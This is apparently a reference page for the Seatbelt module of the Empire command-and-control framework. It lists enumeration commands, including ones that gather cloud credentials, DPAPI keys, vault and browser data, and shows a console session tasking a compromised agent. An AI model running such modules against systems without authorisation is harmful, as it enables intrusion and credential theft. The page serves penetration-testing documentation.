Seatbelt - Empire Module


This page contains detailed information about how to use the csharp/GhostPack/Seatbelt Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: Seatbelt
Module: csharp/GhostPack/Seatbelt
Source code: empire/server/modules/csharp/GhostPack.Covenant.yaml#L552
Language: C#
Needs admin: No
OPSEC safe: No
Background: No

The Seatbelt module uses a Seatbelt command.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the Seatbelt module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the Seatbelt module:

Agent
Agent to run module on.

DotNetVersion
.NET version to compile against.
Default value: Net35.
Suggested values: Net35, Net40.

Additional Module Options

This is a list of additional options that are supported by the Seatbelt module:

Command
Seatbelt command to execute.
Suggested values: -group=all, -group=user, -group=system, -group=slack, -group=chrome, -group=remote, -group=misc, AMSIProviders, AntiVirus, AppLocker, ARPTable, AuditPolicies, AuditPolicyRegistry, AutoRuns, ChromeBookmarks, ChromeHistory, ChromePresence, CloudCredentials, CredEnum, CredGuard, dir, DNSCache, DotNet, DpapiMasterKeys, EnvironmentPath, EnvironmentVariables, ExplicitLogonEvents, ExplorerMRUs, ExplorerRunCommands, FileInfo, FirefoxHistory, FirefoxPresence, IdleTime, IEFavorites, IETabs, IEUrls, InstalledProducts, InterestingFiles, InterestingProcesses, InternetSettings, LAPS, LastShutdown, LocalGPOs, LocalGroups, LocalUsers, LogonEvents, LogonSessions, LSASettings, MappedDrives, NamedPipes, NetworkProfiles, NetworkShares, NTLMSettings, OfficeMRUs, OSInfo, OutlookDownloads, PoweredOnEvents, PowerShell, PowerShellEvents, Printers, ProcessCreationEvents, Processes, ProcessOwners, PSSessionSettings, PuttyHostKeys, PuttySessions, RDCManFiles, RDPSavedConnections, RDPSessions, RecycleBin, reg, RPCMappedEndpoints, SCCM, ScheduledTasks, SearchIndex, SecurityPackages, Services, SlackDownloads, SlackPresence, SlackWorkspaces, Sysmon, SysmonEvents, TcpConnections, TokenGroups, TokenPrivileges, UAC, UdpConnections, UserRightAssignments, WindowsAutoLogon, WindowsCredentialFiles, WindowsDefender, WindowsEventForwarding, WindowsFirewall, WindowsVault, WMIEventConsumer, WMIEventFilter, WMIFilterBinding, WSUS.

Seatbelt Example Usage

Here's an example of how to use the Seatbelt module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule csharp/GhostPack/Seatbelt

 Author       harmj0y                   
 Background   False                     
 Description  Use a Seatbelt command.   
 Language     csharp                    
 Name         csharp/GhostPack/Seatbelt 
 NeedsAdmin   False                     
 OpsecSafe    False                     


,Record Options-,-------,----------,---------------------------------,
| Name          | Value | Required | Description                     |
|---------------|-------|----------|---------------------------------|
| Agent         |       | True     | Agent to run module on.         |
|---------------|-------|----------|---------------------------------|
| Command       |       | False    | Seatbelt command to execute.    |
|---------------|-------|----------|---------------------------------|
| DotNetVersion | Net35 | True     | .NET version to compile against |
'---------------'-------'----------'---------------------------------'

(Empire: usemodule/csharp/GhostPack/Seatbelt) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/csharp/GhostPack/Seatbelt) > set DotNetVersion Net35
[*] Set DotNetVersion to Net35
(Empire: usemodule/csharp/GhostPack/Seatbelt) > execute
[!] Error: csharpserver plugin not running

Note: This module requires csharpserver plugin to be running on our system. If this plugin is not running, the error message "[!] Error: csharp server plugin not running" is thrown on the console. To fix the error, start the csharpserver plugin and re-run the module:

(Empire: usemodule/csharp/GhostPack/Seatbelt) > useplugin csharpserver

,Record Options--,----------,----------------------------------,
| Name   | Value | Required | Description                      |
|--------|-------|----------|----------------------------------|
| status | start | True     | Start/stop the Empire C# server. |
'--------'-------'----------'----------------------------------'

(Empire: useplugin/csharpserver) > execute
[*] Starting Empire C# server
(Empire: useplugin/csharpserver) > back
(Empire: usemodule/csharp/GhostPack/Seatbelt) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author

  • harmj0y

References

See Also

Check also the following modules related to this module:

Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.